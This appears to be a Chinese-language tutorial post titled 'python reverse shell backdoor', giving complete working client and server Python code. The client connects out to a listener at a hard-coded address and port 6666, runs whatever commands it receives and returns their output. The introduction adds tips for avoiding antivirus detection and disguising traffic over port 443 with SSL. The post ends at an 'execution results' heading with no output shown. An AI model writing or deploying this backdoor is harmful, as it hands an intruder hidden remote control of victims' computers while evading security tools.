python 反向shell后门

　　linux 编码改为utf-8，windows 默认gbk，python一般都是白名单减少查杀可能性，端口可以改为443，ssl混肴数据传输。

python client端

import subprocess,socket

def main():
    ip = "192.168.1.102"
    port = 6666
    # 建立socket
    shell_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    # connect连接
    shell_socket.connect((ip,port))
    # 接收数据
    while True:
        data = shell_socket.recv(1024).decode("gbk")
        # subprocess执行shell命令

        command = subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
        STDOUT,STDERR = command.communicate()
        # byte 类型区别于 python2.X
        # 发送输出命令

        shell_socket.send(STDOUT) # 直接发送bytes
    # 关闭socket
    shell_socket.close()

if __name__ == '__main__':
    main()

python server端：

import socket

def main():
    # 建立socke连接
    shell_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    # bind端口
    shell_socket.bind(("",6666))
    # listen监听 设置最大俩个连接
    shell_socket.listen(2)
    # accept 接收 发送命令
    new_shell,addr = shell_socket.accept()
    while True:
        command = input("~$")
        new_shell.send(command.encode("gbk"))
        # 显示 数据
        data = new_shell.recv(2048).decode("gbk")
        if data:
            print (data)
        else:
            break
    # 关闭连接
    new_shell.close()
    shell_socket.close()


if __name__ == '__main__':
    main()

执行结果：
